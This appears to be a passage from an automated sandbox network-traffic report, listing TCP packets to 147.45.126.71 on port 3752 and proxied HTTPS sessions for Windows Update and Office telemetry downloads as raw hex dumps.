Oct 5, 2024 14:33:33.480040073 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.480084896 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.480844021 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.480917931 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.480947971 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.480971098 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.480979919 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.481030941 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.482023954 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.482099056 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.482175112 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.482201099 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.482209921 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.482260942 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.483273983 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.483346939 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.483392954 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.483408928 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.483444929 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.483444929 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.484291077 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.484360933 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.484376907 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.484414101 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.484710932 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.484751940 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.484767914 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.484767914 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.484813929 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.485985994 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.486057997 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.486073017 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.486104965 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.486470938 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.486516953 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.486521959 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.486532927 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.486582994 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.487047911 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.487107992 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.487123966 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.487159014 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.487842083 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.487895012 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.487905979 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.487921953 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.487970114 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.488985062 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.489039898 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.489056110 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.489088058 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.489855051 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.489919901 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.489926100 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.489942074 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.489998102 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.490531921 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.490585089 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.490601063 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.490638971 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.536037922 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.543080091 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.543190002 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.543242931 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.543252945 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.543277025 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.543311119 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.543327093 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.543344975 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.543381929 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.543420076 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.545139074 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.545197010 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.545207024 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.545232058 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.545279026 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.545382977 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.545414925 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.545449972 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.545464039 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.545485973 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.545533895 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.547360897 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547409058 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547445059 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547486067 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.547499895 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547532082 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547552109 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.547569036 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547602892 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547620058 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.547749043 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.547811985 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.550124884 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.550180912 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.550214052 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.550241947 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.550327063 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.550359964 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.550381899 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.550393105 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.550447941 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.550472021 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561595917 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561698914 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561712027 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.561733007 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561784983 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.561803102 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561834097 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561868906 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561887026 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.561906099 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.561952114 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.562156916 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562190056 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562223911 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562251091 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.562258005 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562297106 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562318087 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.562334061 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562385082 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.562611103 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562642097 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562675953 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562691927 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.562710047 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562743902 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562757969 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.562777042 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562810898 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.562829971 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563096046 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563128948 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563150883 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563163996 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563196898 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563216925 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563230991 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563265085 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563280106 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563560963 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563591957 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563612938 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563626051 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563658953 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563677073 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563694000 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563726902 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563745022 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563760996 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.563811064 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.563905954 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.564841032 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.564896107 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.564929008 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.564954042 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.564982891 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.565013885 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.565047026 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.565100908 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.565215111 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.565247059 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.565294027 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.565326929 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.567482948 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.567538023 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.567562103 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.567570925 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.567609072 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.567620993 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.567914963 CEST	3752	49738	147.45.126.71	192.168.2.4

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uEnGmW4R2wLmeAx&MD=ZEn5E+1s HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-05 12:33:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6d428944-ab2f-4f30-b218-592277ee498e MS-RequestId: bcd93096-a7b5-432f-8b43-bad9d96c3d60 MS-CV: NB/uifdQHE6FuW9E.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 05 Oct 2024 12:33:14 GMT Connection: close Content-Length: 24490
2024-10-05 12:33:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-05 12:33:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	57391	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:42 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uEnGmW4R2wLmeAx&MD=ZEn5E+1s HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-05 12:33:43 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: fad327fc-81f1-425a-8fd6-4a6b55f7e82d MS-RequestId: 9895a4c3-bce8-47bf-86d4-286410744196 MS-CV: Fwj/4pquuUy+0oqv.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 05 Oct 2024 12:33:41 GMT Connection: close Content-Length: 30005
2024-10-05 12:33:43 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-05 12:33:43 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	57395	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:55 UTC	540	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 30 Sep 2024 13:16:38 GMT ETag: "0x8DCE1521DF74B57" x-ms-request-id: 90766f9b-701e-006f-578c-15afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123355Z-15767c5fc55qdcd62bsn50hd6s0000000du000000000d7wv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:55 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
